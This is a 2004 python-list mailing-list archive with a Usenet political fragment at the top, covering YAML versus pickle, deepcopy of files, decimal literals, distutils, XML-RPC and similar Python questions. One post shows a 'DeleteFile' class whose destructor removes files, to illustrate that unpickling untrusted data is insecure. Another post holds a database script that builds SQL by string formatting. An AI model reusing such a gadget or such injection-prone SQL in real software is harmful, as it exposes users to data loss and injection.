	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<2ql1k0t2cgjbmgp34ir47sv5u9ifv5tmem@4ax.com>
	<opsd202cospqzri1@mjolner.upc.no>
	<chsbod$q0i$1@grandcanyon.binc.net>
Message-ID: <T_-dnTFYHsng7t7cRVn-qQ@mpowercom.net>

"Chuck Dillon" <spam at nimblegen.com> wrote in message 
news:chsbod$q0i$1 at grandcanyon.binc.net...
> Your argument is shallow if you direct it to the person who happens to be 
> holding the office of President at the moment.  The President can't 
> introduce or pass law.
>
Laws no, but the definition of a law can be ambiguous.  Congress has given 
federal agencies under the President broad power to issue regulations with 
the same effect as laws, but without going through the legislative process. 
Anyone who has ever battled with the Bureau of Land Management or ran afoul 
of the Endangered Species Act knows that "laws" are often created by fiat in 
a Washington DC office building.

Then there are presidential Executive Orders which are often attempts to end 
run around a lack of congressional cooperation.  Clinton attempted to use 
this to outlaw firearms posession in federal housing until the Supreme Court 
put a stop to it.

And finally there are international treaties, which operate with the force 
of law but are not passed by the House of Representatives.  The President 
signs it and the Senate confirms it, but half the legislative process is cut 
out.  Often all that protects the country from disasters like the Kyoto 
Treaty is a filibuster by a Senate minority.
  Jack Peacock 




From adalke at mindspring.com  Sun Sep 19 11:26:56 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Sun, 19 Sep 2004 15:26:56 GMT
Subject: PyYaml?
In-Reply-To: <l3c3d.1327$HH5.1125@trndny05>
References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol>
	<l3c3d.1327$HH5.1125@trndny05>
Message-ID: <4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net>

Chris S. wrote:
> I agree completely, although I've been surprised by the general lack of 
> interest around here. You'd think a more secure, portable, and readable 
> serialization format would be welcomed with open arms, yet most of the 
> comments I've read past and present have been almost hostile.

YAML and pickles address two different but related domains.
Pickle attempts to serialize and deserialize arbitrary
Python data structures.  YAML serializes a subset of the
data structures that can be made portable, with it seems
some hooks for new datatypes.

Here's a test.  Can you do the following in YAML and do
so securely?  (Untested code.)

class DeleteFile:
   def __init__(self, filename, yes_really = False):
     self.filename = filename
     self.yes_really = yes_really
   def __eq__(self, other):
     return (self.filename == other.filename and
             self.yes_really == other.yes_really)
   def __del__(self, remove = os.remove):
     if self.yes_really:
         try:
             remove(self.filename)
         except IOError:
             pass

   # this works for pickle.  Does it work for YAML?
x = DeleteFile("/path/to/important/file")
   ... store 'x' to YAML file ...
y = ... read from YAML file
assert x == y

   # This is insecure in pickle.  Would YAML be secure?
z = ... read artibtrary YAML file which may have a
         DeleteFile where 'yes_really' is True ...
del z

Or what about support for multiple inheritance?

import datetime

class Base1:
   def __init__(self, a, b):
     self.a = a
     self.b = b
   def speak(self):
     print "The", self.a, "says", self.b

class Base2:
   def __init__(self, x):
     self.x = x
   def spell(self):
     print self.x, "is spelled", "-".join(list(self.x))

class Child(Base1, Base2):
   def __init___(self, a, b):
     Base1.__init__(self, a, b)
     Base2.__init__(self, a)
     self.z = datetime.datetime.now()


kid = Child("goat", "baaaaa")
   ... save 'kid' to YAML ...
animal = ... read that YAML file ...
animal.speak()
animal.spell()

In either case, how in the world is it portable?

				Andrew
				dalke at dalkescientific.com


From rnichol_rrc at yahoo.com  Fri Sep 10 15:48:43 2004
From: rnichol_rrc at yahoo.com (Reid Nichol)
Date: Fri, 10 Sep 2004 14:48:43 -0500
Subject: python and bit shifts and byte order, oh my!
In-Reply-To: <mailman.3169.1094844046.5135.python-list@python.org>
References: <9490d.126$KA1.1800@news1.mts.net>	<chrogi$gmk$1@news1.wdf.sap-ag.de>
	<sWk0d.3$Uo1.23@news1.mts.net>	<4141e6f2$0$67058$a1866201@newsreader.visi.com>	<P0n0d.62$Uo1.261@news1.mts.net>
	<mailman.3169.1094844046.5135.python-list@python.org>
Message-ID: <txn0d.67$Uo1.323@news1.mts.net>

Phil Frost wrote:
> The standard 'struct' module provides methods to specify the byte order
> of the input.
> 
> On Fri, Sep 10, 2004 at 02:13:52PM -0500, Reid Nichol wrote:
> 
>>>The code that writes x to a file and reads it from a file is
>>>what you have to worry about.
>>>
>>
>>So, I have to handle the byte order myself during file i/o.
>>
>>
>>Thank you Grant and Daniel!  I cleared up a a bunch of my fuzziness :)

It's my understanding that pack and unpack of the struct module returns 
strings and not rearranged integers.

At any rate I would rather do it myself if only to teach myself 
something about this.


From steve at holdenweb.com  Mon Sep 27 23:02:35 2004
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 27 Sep 2004 23:02:35 -0400
Subject: time
In-Reply-To: <So36d.168361$3l3.52363@attbi_s03>
References: <So36d.168361$3l3.52363@attbi_s03>
Message-ID: <Ry46d.249396$4o.106779@fed1read01>

Bryan wrote:

> can someone explain to me why i get different values for the tm_yday and 
> tm_isdst values?
> 
>  >>> import rfc822
>  >>> rfc822.parsedate('Mar  1 01:03:59 2004')
> (2004, 3, 1, 1, 3, 59, 0, 0, 0)
> 
>  >>> import time
>  >>> time.strptime('Mar  1 01:03:59 2004', '%b %d %H:%M:%S %Y')
> (2004, 3, 1, 1, 3, 59, 0, 61, -1)
> 
The trivial answer is "because of differences in the modules". Your 
question is a bit like asking "Why is the sky today not the same color 
as it was yesterday?"

The docs for the time module explain that for strptime(): """The default 
values used to fill in any missing data is [sic] (1900, 1, 1, 0, 0, 0, 
0, 1, -1)""" and """Support for the %Z directive is based on the values 
contained in tzname and whether daylight is true. Because of this, it is 
platform-specific except for recognizing UTC and GMT which are always 
known (and are considered to be non-daylight savings timezones). """

Note that strptime used only to be present if your platform's C library 
provided it; though I can't say for sure that's changed I believe it 
has. No idea when, though.

The rfc822 docs for parsedate, on the other hand, specifically remark 
"""Note that fields 6, 7, and 8 of the result tuple are not usable.""".

So I suspect you are simply being disturbed by the lack of a consistency 
that was never intended to exist: you reads the docs and makes yer 
choice - ultimately, do what works in your application.

carefully-not-mentioning-hobgoblins-ly y'rs  - steve




From csgcsg39 at hotmail.com  Mon Sep 20 08:31:44 2004
From: csgcsg39 at hotmail.com (C Gillespie)
Date: Mon, 20 Sep 2004 13:31:44 +0100
Subject: Using isA and getA in a python way
Message-ID: <cimijh$p7l$1@ucsnew1.ncl.ac.uk>

Dear All,

I have long list of if statements in the form of:

if obj.isA(): return obj.getA()
if obj.isB(): return obj.getB()
if obj.isC(): return obj.getC()
if obj.isD(): return obj.getD()
<snip>

Is there a nicer way of doing this, perhap going through the list
['A','B','C',..

Many thanks

Colin




From adalke at mindspring.com  Mon Sep  6 05:54:27 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Mon, 06 Sep 2004 09:54:27 GMT
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <mailman.2909.1094421551.5135.python-list@python.org>
References: <opsdq5katd35jo5o@news.gmane.org>	<864d370904090306333b53ef56@mail.gmail.com>	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>	<mailman.2838.1094223946.5135.python-list@python.org>	<1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com>	<864d370904090413356356d84d@mail.gmail.com>	<mailman.2905.1094405220.5135.python-list@python.org>	<7GL_c.8254$w%6.2854@newsread1.news.pas.earthlink.net>
	<mailman.2909.1094421551.5135.python-list@python.org>
Message-ID: <ntW_c.1684$ip2.132@newsread3.news.pas.earthlink.net>

Uncle Tim
> Yup!  Don't try to horn in on my lucrative channelling business, but
> Guido has already said that's The Plan for Python 3000.

I knew that Dutch ancestory of mine would come in handy.
But as I'm only about 1/4 Dutch, I don't think it's accurate
enough for channelling to be profitable, so no worries from me.

				Andrew
				dalke at dalkescientific.com


From aleaxit at yahoo.com  Fri Sep  3 02:11:36 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 3 Sep 2004 08:11:36 +0200
Subject: ANN: YAPDL
References: <2osh02-e6i1.ln1@eskimo.tundraware.com>
Message-ID: <1gjiagl.6vfxje4byo3dN%aleaxit@yahoo.com>

Tim Daneliuk <tundra at tundraware.com> wrote:
   ...
Ha ha, very funny, but I think it's quite misplaced criticism.

As a Python stalwart, I'm _enthused_ to see Python-derived languages
emerging.  That's _exactly_ the right thing to do if you sort of like
Python BUT would want to see points A, B and C changed: make your OWN
language, derived from Python but with all the changes you wish.  As
opposed to posting here whining, clamoring, arguing or lobbying for
changes to Python, or criticizing Python's design choices, with is
exactly the _wrong_ thing to do and an utter waste of everybody's time.

I salute with happiness the emergence of several PDL's.  To me, it
signifies growing awareness that Python is no experimental state-of-the
art sandbox-language in which to try out your own language design idea,
be they innovative ones, or old and tired ones.  If you want a new
experimental language that's sort like Python, spin off your own --
DON'T post here criticizing Python or trying to change it.  If everybody
who doesn't like aspects X or Y of Python avoided posting here about
that,  and went off to do their own PDL instead, the world would be a
happier and better place.  And should any of the changes prove their
worth in the field, Python may eventually adopt them, or some variant of
them -- not likely but still more likely than such adoption coming from
the N-plus-1th rant here about (whatever feature it is that you
desperately want to add to Python).


Alex


From dperl at rogers.com  Tue Sep 14 15:47:08 2004
From: dperl at rogers.com (Dan Perl)
Date: Tue, 14 Sep 2004 19:47:08 GMT
Subject: deepcopy and file object attributes
Message-ID: <0VH1d.1411$rHv1.223@news04.bloor.is.net.cable.rogers.com>

Here is some code to illustrate a problem that I have:
   import copy
   class myc:
      def __init__(self):
         self.myf=file('bar.txt',"w")
      def foo(self):
         self.myf.write('hello world!')       # it's going to fail for 
d.foo( )

   c = myc()
   d = copy.deepcopy(c)                     # d.myf is created as closed
   del c
   d.foo()                        # ValueError: I/O operation on closed file

I figured out with a debugger that d.myf gets created as a file object that 
is closed from the get-go.  Is this the expected behavior?  If so, is the 
behavior due to the file object (its own __deepcopy__ method) or is the 
behavior due to the deepcopy (it doesn't know how to get the file object 
open)?

I already have a way to get around the problem, by overriding the 
__deepcopy__ method.  Any other suggestions?

I have seen many parallels being drawn between copy/deepcopy and pickle. 
Are they sharing implementations?  I can definitely see a problem with 
pickle-ing an open file object, but I would normally expect a copy( ) to 
also copy the state of the file object.  Am I wrong about that?

Dan 




From carribeiro at gmail.com  Mon Sep 13 12:57:27 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 13 Sep 2004 13:57:27 -0300
Subject: Small inconsistency between string.split and "".split
Message-ID: <864d370904091309576330b1ed@mail.gmail.com>

Hi all,

While writing a small program to help other poster at c.l.py, I found
a small inconsistency between the handling of keyword parameters of
string.split() and the split() method of strings. I wonder if someone
else had ever stumbled on it before, and if it has a good reason to
work like it is.

Both implementations take two parameters: the separator character and
the max number of splits (maxsplit). However, string.split() accept
maxsplit as a keyword parameter, while mystring.split() doesn't. In my
case, it meant that I had to resort to string.split() in my example,
in order to avoid having to deal with the separator.

** BTW, I had to avoid dealing with the separator for another annoying
reason: I thought that I could do something like this:

mystring.split(string.whitespace, 2)

to preserve the default whitespace detecting behavior. But it won't
work this way with neither implementation of split().

----
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From carribeiro at gmail.com  Sat Sep 25 09:33:47 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Sat, 25 Sep 2004 10:33:47 -0300
Subject: Why not FP for Money?
In-Reply-To: <%Y95d.2674$zG1.27@newsread3.news.pas.earthlink.net>
References: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net>
	<mailman.3892.1096086361.5135.python-list@python.org>
	<%Y95d.2674$zG1.27@newsread3.news.pas.earthlink.net>
Message-ID: <864d370904092506333b2ff6c1@mail.gmail.com>

On Sat, 25 Sep 2004 08:26:35 GMT, Andrew Dalke <adalke at mindspring.com> wrote:
> Carlos Ribeiro wrote:
> > As a compromise, having the 'd' suffix is better than having no option
> > to write true decimal point literals.
> 
> That's not an effective argument for why a decimal point
> should be made a literal.  I use regular expressions much
> more often than decimals -- why shouldn't Python, like
> Perl, support a regular expression literal?

Why not? It may be a good idea for Py3k -- instead of raw strings, why
not regular expressions strings? But as far as decimals are concerned
there's a difference in usage pattern. Numeric literals of any type
can be used in mathematic expressions. Long expressions with class
instantiation style calls are (arguably) less readable than ones
involving only literals; it reads as a function call, not as a literal
instantiation, in that context. Also, a numeric literal has a single
value. What is the 'value' of a RE literal? If it's taken to be the RE
itself (in it's compiled form), I can't see much practical use for
expressions involving literals - even concatenation (ex: re1 + re2)
has nasty side effects in the general case; it's better to concat the
original RE strings and recompile the RE anyway.
 
> The tension here is between these ideas:
>    (1) Special cases aren't special enough to break the rules.
> 
>    (2) Simple is better than complex.
> 
>    (3) Although practicality beats purity.

(numbers are mine) You've put it perfectly. In my count, decimal
literals win -- (2) + (3) pro, (1) against. But I do use decimals (or
intend to, once it's supported by the database drivers, etc.) -- it
makes (3) true for me and lessens the "special case" clause of (1).

> Why is a decimal point literal special enough to break
> the rule that nearly all objects (except int, string,
> float, complex(!), list, tuple, dict, function, and
> class -- that's quite a few) are created using a
> call-style syntax?

Because (in my opinion) a decimal point literal is in the same general
class as the objects you've mentioned.

Because a decimal point is a number, and numbers are not instantiated
usin call-style syntax.

Because the call-style syntax requires the use of a string as an
argument to avoid practical and phylosophical problems involving the
conversion of binary floats to decimal floats, and the string looks
out of place in numeric expressions.

Because, in the prompt, having a easy way to write numeric literals of
any kind is important to allow seamless interactive use -- be it as
powerful calculator, or to prototype small functions, or to test
concepts.
 
> Is it simpler to limit the number of literals, or
> better to simplify making decimal literals?
> 
> I'm against adding new literals.  There hasn't been
> one added since complex in ... must have been the
> mid-1990s.  I'm not the decision maker here but I'll
> hazard to guess decimal needs to be used more widely
> before making that change.

It's strange, because complex numbers are much more of a special case
than decimals. Decimals have a single value, complex numbers are a
tuple; decimals are orderable; but complex made it to the language. It
was another time, and I don't know how many people rely on Python
complex numbers, but I bet that decimals have the potential to become
more important in the long run.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From Mark.English at liffe.com  Tue Sep 21 05:45:19 2004
From: Mark.English at liffe.com (Mark English)
Date: Tue, 21 Sep 2004 10:45:19 +0100
Subject: Distutils and binaries without compilation
Message-ID: <40E605146701DE428FAF21286A97D3091480DD@wphexa02.corp.lh.int>

The short version of this question is how do you include binaries in a
distribution without including their source ?

The long version follows...
I have a Python package I want to distribute internally to my company
which makes use of pure python modules and C-extensions (.pyd files)
under Windows (and hopefully one day Unix too). The build for the
extensions is large and arduous so I do not want to include the source.
I would rather just include the compiled binaries so that when the user
installs the package they are written into the relevant location and the
whole thing is ready to go.

My structure is something like:

SomePlaceOnPythonPath/
	setup.py #Hard at work getting this to go
	Start/
		__init__.py
		ABunchOfPyFiles.py
		CompiledCExtensions\
			__init__.py
			ABunchOfExtensions.pyd
		AdditionalPythonFiles\
			__init__.py
			ABunchOfExtraPythonFiles.py

At the moment my setup script boils down to this call:
setup (name="Start",
	 version="0.1.0",
	 author="me",
	 excludes="temp",
	 packages= ["Start",
			"Start.CompiledCExtensions",
			"Start.AdditionalPythonFiles"]
	)

I run it as:
>>> python setup.py bdist

And end up with a zip file containing all the .py (and.pyc) files in the
correct structure but no .pyd files. I would rather not have to list
each Extension individually. I could probably include the .pyd files as
data files using glob, but this seems ugly. I've also tried adding a:
ext_modules=[Extension("Start.CompiledCExtensions", [""])] but Extension
objects really want some source to build.

If I use py2exe to compile a script which depends on this package, it
pulls in all the relevant parts just like I want, but of course I end up
with an executable rather than a "module distribution", and presumably
this would also be useless for Unix builds. I'm guessing there's some
easy way to do this which I haven't found yet, so I'd be grateful for
any insight.

Thanks,
mE


-----------------------------------------------------------------------
The information contained in this e-mail is confidential and solely 
for the intended addressee(s). Unauthorised reproduction, disclosure, 
modification, and/or distribution of this email may be unlawful. If you 
have received this email in error, please notify the sender immediately 
and delete it from your system. The views expressed in this message 
do not necessarily reflect those of LIFFE Holdings Plc or any of its subsidiary companies.
-----------------------------------------------------------------------



From this at is.invalid  Thu Sep  9 08:13:01 2004
From: this at is.invalid (Mercuro)
Date: Thu, 09 Sep 2004 12:13:01 GMT
Subject: Shorter checksum than MD5
In-Reply-To: <7xfz5rn1w2.fsf@ruckus.brouhaha.com>
References: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be>
	<7xfz5rn1w2.fsf@ruckus.brouhaha.com>
Message-ID: <hNX%c.241261$Ch3.12334176@phobos.telenet-ops.be>

Paul Rubin wrote:


> 
> How about putting a timestamp in each record, so you only have to
> compare the records that have been updated since the last period
> comparison.  
> 

ok, i will give some more information:

I have a proprietary system, which I can't modify. 
  But, it uses Foxpro DBF files which I can read. 
  I have found all the data I want to have in a 
MySQL table. (this table will be used to lookop 
prices and to find other information about articles)

Since I'm not able to put some timestamps on 
changed records, I got the idea to put a checksum 
on each record and save it in the MySQL table. 
Every night I would 'SELECT' all checksums 
together with the artikelnumbers and than compare 
it one by one with newly calculated checksums from 
the DBF file.  Only the changed checksums shall be 
  'UPDATED' and missing numbers would be 'INSERTED'.

This is the code I have for now:
(I will probably change md5 with crc32)

import sys, os, string, dbfreader, md5
from string import strip

# import MySQL module
import MySQLdb

# connect
db = MySQLdb.connect( .... )

# create a cursor
cursor = db.cursor()

cursor.execute("SELECT ID, md5sum, 0 FROM ARTIKEL;")
resultaat = list(cursor.fetchall())
f = dbfreader.DBFFile("ARTIKEL.DBF")

f.open()
i = 0
while 1:
         i += 1
         updated = 0
         rec=f.get_next_record()
         if rec==None:
             break
         pr_kassa = str(rec["PR_KASSA"])
         ID = rec["ID"]
         IDs = str(ID)
         assortiment = 
strip(str(rec["ASSORTIMENT"]))[0:1]
         pr_tarief = str(rec["PR_TARIEF"])
         status = strip(str(rec["STATUS"]))[0:1]
         pr_aank = str(rec["PR_AANK"])
         benaming = 
string.join(string.split(str(rec["BENAMING"]), 
"'"), "\\'")

         md5sum = md5.new(pr_kassa + IDs + 
assortiment + pr_tarief + status + pr_aank + 
benaming).hexdigest()[3:8]

	if (i % 100) == 0:
             print "record %i: ID %s" % (i, IDs)
             # lijst optimaal maken om in te 
zoeken make list more optimal to search trough
             tmp = resultaat[:90]
             resultaat = resultaat[90:]
             resultaat.extend(tmp)

         if resultaat != None:
           for record in resultaat:
             if record[0] == ID:
                 #record[2] = 1
                 if record[1]!=md5sum:
                     print "update record (ID: 
%s)" % IDs
                     # update van bestaand record, 
md5 sum does not match
                     cursor.execute("UPDATE 
ARTIKEL SET " +
 
"benaming='%s', status=%s, assortiment='%s', 
pr_aank=%s, pr_tarief=%s, pr_kassa=%s, md5sum='%s' 
WHERE ID=%s ;" %
                                    (benaming, 
status, assortiment, pr_aank, pr_tarief, pr_kassa, 
  md5sum, IDs))
                 updated = 1
                 break

	if (updated == 0) & (ID < 8000000):
             # nieuw record
             print "nieuw record (ID: %s)" % IDs
             cursor.execute("INSERT INTO ARTIKEL 
(ID, benaming, status, assortiment, pr_aank, 
pr_tarief, pr_kassa, md5sum)" +
 
   " VALUES ( %s, '%s', %s, '%s', %s, %s, %s, 
'%s', '%s' );" %
 
   (IDs, benaming, status, assortiment, pr_aank, 
pr_tarief, pr_kassa, md5sum))



f.close()

#############################################



If anybody has any better ideas, I'm happy to hear 
them!


From jpgrayson at gmail.com  Wed Sep 15 14:29:59 2004
From: jpgrayson at gmail.com (Peter Grayson)
Date: Wed, 15 Sep 2004 12:29:59 -0600
Subject: See exactly what a function has returned
In-Reply-To: <4a0cafe204091510512fc955f9@mail.gmail.com>
References: <ci9tfk$71t$1@solaris.cc.vt.edu>
	<tr6dnRbHkq4J5tXcRVn-gQ@powergate.ca> <ci9u7e$7u0$1@solaris.cc.vt.edu>
	<4a0cafe204091510512fc955f9@mail.gmail.com>
Message-ID: <c0232fa040915112926edd24d@mail.gmail.com>

> > def print_whats_returned(function):
> >      ## A function that shows what another function has returned
> >      ## as well as the 'type' of the returned data.
> >      print function
> >      print type(function)

This function does not do what you are expecting; type(function) does
not return the type that function returns, it returns the type of the
object passed in.

def foo():
  return 42

>>> print foo
<function foo at 0xf6f888ec>
>>> print type(foo)
<type 'function'>

Because Python is a dynamically typed language, it is not possible for
the interpreter to know what type of object a function returns without
executing it. In fact, it is possible for a function to return
different kinds of things. For example:

def bar(x):
  if x == 0:
    return 42
  elif x== 1:
    return "Forty-two"
  else:
    return None

In a statically typed language, like C, we neccessarily know what type
of thing is returned and we know it at compile-time. In Python, the
type of the returned object is only bound at run-time. In practice,
this means that we usually have to "just know" what a function returns
by knowing the intended semantics of the function. That said, you
could write a function like this that tells you about the return type
of a function for a given invocation of that function ...

def characterize(f, *args):
  r = f(*args)
  print type(r)

>>> characterize(bar, 0)
<type 'int'>
>>> characterize(bar, 1)
<type 'str'>
>>> characterize(bar, 2)
<type 'NoneType'>

Hope this helps.

Pete


From miki.tebeka at zoran.com  Sun Sep  5 12:17:29 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: Sun, 5 Sep 2004 18:17:29 +0200
Subject: Proto-PEP: Overloadable Boolean Operators
In-Reply-To: <413AEEF9.7060102@cosc.canterbury.ac.nz>
References: <413AEEF9.7060102@cosc.canterbury.ac.nz>
Message-ID: <20040905161729.GD2220@zoran.com>

Hello greg,

> PEP ??? - Overloadable Boolean Operators
> ========================================
> <snip>
>     Unary:             __not__(self)
> 
>     Binary, phase 1:   __and1__(self)          __or1__(self)
> 
>     Binary, phase 2:   __and2__(self, other)   __or2__(self, other)
>                        __rand2__(self, other)  __ror2__(self, other)
> 
> <snip>
Why not just __bool__(self) -> True, False?
IMO this will answer all of your needs and will require less changes.

Bye.
--
------------------------------------------------------------------------
Miki Tebeka <miki.tebeka at zoran.com>
http://tebeka.spymac.net
The only difference between children and adults is the price of the toys


From irmen at -nospam-remove-this-xs4all.nl  Mon Sep 20 13:40:44 2004
From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong)
Date: Mon, 20 Sep 2004 19:40:44 +0200
Subject: Shopping cart
In-Reply-To: <81a41dd.0409200816.5659197b@posting.google.com>
References: <81a41dd.0409200816.5659197b@posting.google.com>
Message-ID: <414f161b$0$25965$e4fe514c@news.xs4all.nl>

Lad wrote:
> Is there a shopping cart in Python available?

I have no clue what you are asking.
Perhaps the answer is here: http://www.catb.org/~esr/faqs/smart-questions.html

--Irmen


From clifford.wells at comcast.net  Thu Sep 16 19:14:31 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Thu, 16 Sep 2004 16:14:31 -0700
Subject: wxPython Not Ready for Commercial Use
In-Reply-To: <dcf37d82.0409160827.1de98db9@posting.google.com>
References: <dcf37d82.0409160827.1de98db9@posting.google.com>
Message-ID: <1095376471.31957.144.camel@devilbox.devilnet.internal>

On Thu, 2004-09-16 at 09:27 -0700, Polerio Babao Jr.II wrote:
> Please correct me if im wrong. I have depended much on python and
> wxpython gui apps. After a year of using python apps I was able to do
> good application written entirely in python. One big problem came into
> my attention. The printing support. Yes, there was reportlab. But what
> if your client wanted to simulate the customized excel output and have
> it converted to reportlab. you cannot do it 100%. There are so many
> drawbacks which I do not like. I tried to use the xml file of excel
> and modify it on the fly to answer that problem but still not a very
> good solution.
> 
> I am targetting crystal report as my ideal reporting application. From
> my experiences I was not able to print a very good output for
> commercial application. If anyone can provide me a very good reporting
> application that can be integrated within python I must say python can
> be used for commercial gui app. If not then we are all correct, python
> is good for training purposes but not for production yet. Please
> excempt reportlab from your choices as I have used it already and was
> not able to simulate excel like output, still you can do it, the very
> difficult way. I am just dissapointed, now I am trying to learn c++/qt
> to solve my gui and printing problem. Please correct me if I am wrong.
> Thanks.

Ah, the old "make an inflammatory statement to goad someone into
answering my question" tactic.

When it comes to automating external applications (Crystal Reports,
Excel) on Windows, there's only a couple of ways to do it, and it has
nothing to do with programming language choice.  COM is the answer and
Python has it.  You can try C++ if you like, but what you'll find is
that you are going to run into exactly the same problem, only it will
take you twice as long to get there.

If you want "Excel-like" output, why not use COM to control Excel?  It's
been several years, but I built an application (using Python, wxPython
and win32com) to do just that.  If what you are looking for is someone
to show you how to do it, why not just pay someone to do it?  Perhaps
it's the programmer, not the language, that isn't ready for
production ;)


Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From daniel.dittmar at sap.corp  Wed Sep 15 12:27:51 2004
From: daniel.dittmar at sap.corp (Daniel Dittmar)
Date: Wed, 15 Sep 2004 18:27:51 +0200
Subject: i am going to get crazy!!!
In-Reply-To: <4a9d4c93.0409150757.2015bbbb@posting.google.com>
References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com>	<1095228220.28128.71.camel@devilbox.devilnet.internal>
	<mailman.3350.1095230449.5135.python-list@python.org>
	<4a9d4c93.0409150757.2015bbbb@posting.google.com>
Message-ID: <ci9qi7$q92$1@news1.wdf.sap-ag.de>

andresm wrote:
>  with an ide i can scan object's behavior and their members's 
>  doc in 1.5 seconds while not changing the enviroment , in situa
>  tion 2 i can do exactly the same, just that it takes 5 to 10 sec 
>  which is way to much time for an operation i do so so frecuently
>  This is an example of how an ide makes a huge diference . This
>  is the only feature i want in an ide, it saves tons of time

As someone else wrote in this thread:
- Python is dynamically typed
- thus, the types of most expressions can't be inferred by an ide
- when the type of an expression is unknown, no useful code completition 
is possible
- modules are an exception, but having code completition on the re 
module doesn't help that much as most of the time you'll deal with 
objects out of that module like re objects and match objects
- at least one company provides a commercial IDE (Wing IDE) which claims 
to support auto completition by sophisticated data flow analysis. How 
well it works probably depends on your programming style

Daniel


From reply.in.the.newsgroup at my.address.is.invalid  Wed Sep 15 12:57:35 2004
From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman)
Date: Wed, 15 Sep 2004 18:57:35 +0200
Subject: socket programming
References: <mailman.3372.1095266959.5135.python-list@python.org>
Message-ID: <tusgk051t94u4uqeamqm8eiqancch0o93n@4ax.com>

Ajay:
>the problem is when my client finished sending and waits to receive, on the
>server side, it still stays in the while loop waiting to receive more data.
>
>how do i stop that?

You need to define a protocol for the communication between client and
server, and implement the server in such a way that it sends what it's
expected to send, when it has received what it expected to receive. In
your current code, the server is expecting an infinite amount of data,
while the client is sending only a few bytes.

-- 
Ren? Pijlman


From lopezr at dickinson.edu  Fri Sep 24 13:51:57 2004
From: lopezr at dickinson.edu (Rene Lopez)
Date: Fri, 24 Sep 2004 17:51:57 GMT
Subject: reading a rar archive....
Message-ID: <19Z4d.2105$Pd2.714832@monger.newsread.com>

Is there any way to get python to read files from a rar archive?



From ptmcg at austin.rr._bogus_.com  Sun Sep  5 02:43:37 2004
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Sun, 05 Sep 2004 06:43:37 GMT
Subject: Python COM vs Visual Basic COM
References: <41389DCD.33B3D0E4@lawcomputing.com>
Message-ID: <tAy_c.15747$Dl4.832@fe2.texas.rr.com>

"Kendall Dugger" <kwd at lawcomputing.com> wrote in message
news:41389DCD.33B3D0E4 at lawcomputing.com...
>
> I have to use an ultra simple call to a couple of
> WordPerfect COM functions.
>
<snip>

Try reposting on the win32 list at ActiveState.  I think you will get a
quicker response.

-- Paul




From martin at v.loewis.de  Fri Sep 17 14:36:27 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 17 Sep 2004 20:36:27 +0200
Subject: XML_RPC and unicode problems
In-Reply-To: <psOdnbn9S-N2TNfcRVn-jg@powergate.ca>
References: <7bf84d19.0409161548.521da358@posting.google.com>
	<mailman.3422.1095379149.5135.python-list@python.org>
	<y_ydnc-FMKhHpdfcRVn-vQ@powergate.ca>
	<414A8659.7080902@v.loewis.de>
	<psOdnbn9S-N2TNfcRVn-jg@powergate.ca>
Message-ID: <414b2ea8$0$6335$9b622d9e@news.freenet.de>

phansen wrote:
>>> Seems to me that description is inadequate, if one has to revert
>>> to <base64> to pass through a string with an \xa0 in it.
>>
>>
>> No. \xa0 just is not a character. In XML, all bytes must denote
>> characters, and \xa0 does not denote any character when the
>> encoding is UTF-8.
>>
>> To transmit binary data, use the base64 element, available through
>> xmlrpclib.Binary in Python.
> 
> 
> That's what I said, isn't it?  Just checking, because you started
> your response with "No", as though I had said something incorrect.

Ah, I only read the answer of the fragment you quoted, not the
question :-(

Yes, that answer is confusing, as it doesn't really answer it
(although the answer itself is correct). Binary data and XML-RPC
has a long and confusing history.

Regards,
Martin


From pfortin at pfortin.com  Sat Sep 18 14:59:40 2004
From: pfortin at pfortin.com (Pierre Fortin)
Date: Sat, 18 Sep 2004 14:59:40 -0400
Subject: args v. *args passed to: os.path.join()
References: <20040918132643.74ba4b6d@gypsy.pfortin.com>
	<mailman.3483.1095530913.5135.python-list@python.org>
Message-ID: <20040918145940.40b49454@gypsy.pfortin.com>

On Sat, 18 Sep 2004 20:08:35 +0200 Heiko wrote:

> Now, when you call:
> 
> os.path.join(["a","b"])
> 
> the list ends up in the a parameter, and because the function doesn't
> have to do anything (there are no more arguments), the list is returned
> unchanged (although this should probably raise a TypeError, anyone?).
   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  =======

That was the whole point; the rest was pretty much my understanding too...
I can't think of any reason why os.path.join() should ever be presented
anything but strings...  on the other hand, maybe it could
check for lists/tuples and use those to return the expected "a/b"...

Then again, I just checked a number of functions in os and os.path;
os.path.join() seems to be the only one which fails to return a
TypeError...



